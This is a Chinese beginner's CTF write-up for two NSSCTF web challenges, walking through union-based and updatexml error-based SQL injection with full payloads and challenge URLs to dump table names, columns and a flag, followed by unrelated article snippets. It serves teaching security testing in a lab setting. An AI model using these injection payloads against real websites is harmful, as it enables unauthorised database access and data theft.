nssctf web入门(8)

news2024/10/6 14:24:55

目录

[SWPUCTF 2021 新生赛]easy_sql

[SWPUCTF 2021 新生赛]error


这里通过nssctf的题单web安全入门来写,会按照题单详细解释每题。题单在NSSCTF中。

想入门ctfweb的可以看这个系列,之后会一直出这个题单的解析,题目一共有28题,打算写10篇。

[SWPUCTF 2021 新生赛]easy_sql

[SWPUCTF 2021 新生赛]easy_sql

 

 参数是wllm

这里直接‘ or 1 = 1 --+ 虽然返回了但没用

 

 通过’ order by 1 --+判断字段 发现order by 4时报错得到有3个字段

 通过‘ union select 1,2,3  --+ 发现2 ,3会显示在页面上

  通过‘ union select 1,database(),3  --+ 查询当前数据库库名得到库名为test_db

 通过‘ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3  --+

group_concat 用于将查询的tables_name中所以的数据合成一个字符串

information_schema_tables 数据库中存放元数据的地方

tables_schema=database() 用于指定查询表的数据库 这里代表查询当前数据库的表

这整个命令用于查询当前数据库中所有的表名

得到test_tb和users两个表 

'union select 1,(select group_concat(column_name)from information_schema.columns where table_name='test_tb'),3 --+
group_concat(column_name)把查询到的列名组合成一个字符串

information_schema.columns从information_schema.columns表中查询

table_name='test_tb' 同时指定表的名称为test_tb

得到flag字段

 通过'union select 1,(select flag from test_tb),3 --+得到flag

[SWPUCTF 2021 新生赛]error

[SWPUCTF 2021 新生赛]error

 这里时报错注入,报错注入常在页面没有回显,但是会出现报错信息时使用

我们通过updatexml来修改xml类的数据,这时候我们如果指定错误的节点路径updatexml会返回错误信息,就会造成报错注入

updatexml(1,2,3)中有3个可以修改的值

1中代表要更新的xml类 我们常指定错误的类让他报错

2中代表xpath表达式 也就是我们要构造的恶意代码

3中代表要更新的值

 id=' and updatexml(1,concat(0x7e,(select database()),0x7e),3) --+

concat用于将查询的数据合成一个字符串 0x7e是~ 因为这里在xpath中的参数一定要’‘或者“”进行引用但是这里如果用’‘会导致语句变成字符串所以要通过0x7e的~代替’‘

得到test_db其他的上面的差不多

 查询当前库发现数据过多

我们使用limit 他有两个参数 第一个代表偏移量 第二个限制量

偏离量代表从第几条开始查询 限制量代表查询几条

 http://node2.anna.nssctf.cn:28028/index.php?id=' and updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),3) --+通过查询得到了表为tes_db

查询列名

 http://node2.anna.nssctf.cn:28028/index.php?id=' and updatexml(1,concat(0x7e,(select (column_name) from information_schema.columns where table_name='test_tb' limit 0,1),0x7e),3) --+通过查询得到id 修改偏移量

得的flag列查询flag

 

但是这里只显示了一半

在sql中right需要两个参数:要截取的字符串和要返回的子字符串的长度 我们通过

right(flag,20)代表截取flag字符串 20代表返回从20之后返回

 

 

最后拼接一下 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/443590.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

mysql(8.0)_主从复制

1.环境介绍 自己的主机--master 同学的主机--slave2.安装mysql https://blog.csdn.net/weixin_45955039/article/details/130144515?spm1001.2014.3001.55013. 准备工作 3.1在云服务器上添加端口号 3.2关闭防火墙 systemctl stop firewalld setenforce 04.master上的配置 …

数字图像处理笔记 第二章 数字图像基础

第二章 数字图像基础 2.1 视觉感知要素 知己知彼,百战不殆。了解人类的视觉感知,有助于我们学习数字图像处理。本小节中眼睛中图像的形成,让我联想到照相机成像,人眼的亮度适应和辨别让我想到手机屏幕的自动调节亮度。由于这部分…

马尔科夫链HMM

在机器学习算法中,马尔可夫链(Markov chain)是个很重要的概念。马尔可夫链(Markov chain),又称离散时间马尔可夫链(discrete-time Markov chain),因俄国数学家安德烈马尔可夫(俄语&a…

如何排查线上环境CPU100%问题

如何排查线上环境CPU100%问题 cpu爆满的原因可能:1、形成了死锁。2、形成了死循环 1.使用arthas 2.使用命令的方式 死锁的检查: 方式一: 可通过jps或者ps -ef | grep java的命令查看到运行程序的PID使用jstack -l pid 命令查看线程的堆栈信…

代码随想录|day49|动态规划part10● 121. 买卖股票的最佳时机 ● 122.买卖股票的最佳时机II

它来了它来了!我们最爱的股票问题它来了!! 121. 买卖股票的最佳时机 链接:代码随想录 视频链接:动态规划之 LeetCode:121.买卖股票的最佳时机1_哔哩哔哩_bilibili 好难懂,尤其是理解状态的变化以…

openGauss 5.0企业版主从部署,实战狂飙

📢📢📢📣📣📣 哈喽!大家好,我是【IT邦德】,江湖人称jeames007,10余年DBA及大数据工作经验 一位上进心十足的【大数据领域博主】!😜&am…

【排序】归并排序(递归和非递归)

归并排序 前言图解大致思路代码实现递归非递归 时间复杂度和空间复杂度 前言 这是我讲的最后一个排序了,归并排序难度不大,也是分治的思想。 归并排序时间复杂度是在N*logN里面还是比较优的,毕竟实现起来的是完全二分的,但是差就…

2023第十届大唐杯省赛心得体会总结

第十届“大唐杯”全国大学生新一代信息通信技术大赛结束,分享一下2023第十届大唐杯省赛的相关经验。 年初研究生组就开始报名了,所以这回也是摩拳擦掌,加上大唐杯的认可度很高,今年的情况只会更卷,需要掌握一定的通信…

java数据结构学习第三期

给你一个链表的头节点 head ,判断链表中是否有环。 如果链表中有某个节点,可以通过连续跟踪 next 指针再次到达,则链表中存在环。 为了表示给定链表中的环,评测系统内部使用整数 pos 来表示链表尾连接到链表中的位置(…

4.17-4.18学习总结

MD5 MD5: 1、压缩性 2、容易计算 3、抗修改性 4、弱抗碰撞 5、强抗碰撞 为什么需要MD5? 存储一些敏感信息的时候,如果不进行加密会出现安全问题。 例如:系统登录的密码,如果数据库中的密码采用明文,一旦数据库泄…

扬帆优配|多路资金扎堆博弈,顶级游资章盟主3天爆买21个亿

4月20日,中科曙光(603019.SH)盘中稳步拉升,最终收涨9.99%,股价一举刷出了历史新高,达到了54.71元/股,全天的成交额也高达97.43亿元。 盘后发表的龙虎榜数据显现,知名游资章盟主的常用…

Qt Quick - PageIndicator

Q 理论使用总结 一、概述二、简单使用例子1. SwipeView 和 PageIndicator2. StackLayout 和 PageIndicator 三、常用属性四、定制化 一、概述 PageIndicator用于指示含有多个页面的容器中,当前处理活动的页。记住,这个只是指示当前的活动页,…

java IO流进阶 对象处理流, 转换流, 打印流

目录 一、对象处理流 1.作用 : 2.序列化和反序列化 : 3.ObjectOutputStream : 1 概述 2 演示 4.ObjectInputStream : 1 概述 2 演示 5.关于序列化的细节 : 6.标准输入输出流: 二、转换流 1.概述 : 2.InputStreamReader : 3.OutputStreamWriter : 三、打印…

GB/T28181国标视频监控平台TINYGBS实现监控视频直播的详细搭建流程

TinyGBS是基于GB/T28181-2016(公共安全视频监控联网系统信息传输、交换、控制技术要求)开发的成熟的、敏捷的、产品化的视频汇聚平台,支持标准的监控设备的接入和管理,在多个应用场景中成功落地。实现实时视频调阅、设备控制(云台控制、聚焦控制、拉框放…

GeoDataFrame 应用:公园分布映射至subzone

0 问题描述 我们知道新加坡的monument分布:Monuments-Data.gov.sg 我们又知道新加坡的subzone信息: Master Plan 2019 Subzone Boundary (No Sea) - Datasets - Dataportal.asia 我们希望生成一个 dataframe,表示每一个subzone有几个monumen…

Django REST Framework(DRF)框架之认证Authentication与权限Permission

DRF框架之认证与权限 认证与权限认证(Authentication)权限(Permission) 认证和权限的使用创建用户用于验证配置认证与权限(全局)视图指定认证与权限(局部) 自定义权限概述创建自定义权限类使用自定义权限类 使用TokenAuthenticati…

LeetCode二叉树的相关题目

110. 平衡二叉树 方法:递归 /*** Definition for a binary tree node.* struct TreeNode {* int val;* TreeNode *left;* TreeNode *right;* TreeNode() : val(0), left(nullptr), right(nullptr) {}* TreeNode(int x) : val(x), left(nullpt…

漫谈大数据 - HiveSQL总结(一)库表操作

导语:针对hive各种数据库操作,内部表、外部表、分区表、分桶表的表属性查看修改操作以及hive数据的导入与导出详解。 hive简介: hive是基于Hadoop的一个数据仓库工具,用来进行数据提取、转化、加载,这是一种可以存储、…

双系统安装Windowslinux

文章目录 1.1 联想小新windows10重装1.2 宏基暗影骑士windows10重装2.1 ubuntu18.04重装1)清理空间并制作U盘启动2)ubuntu分区 3.1 ros安装4.1 deb包安装5.1 网络设置6.1 VSCode环境配置 1.1 联想小新windows10重装 bioss设置 ①微软官网制作u盘启动 ②…

微信小程序PHP+python+nodejs+springboot+vue 电影院订票选座系统

管理员的主要功能有: 1.管理员输入账户登陆后台 2.个人中心:管理员修改密码和账户信息 3.会员管理:对注册的会员信息进行删除,查询,添加,修改 4.电影分类管理:对电影的分类信息进行添加&#xf…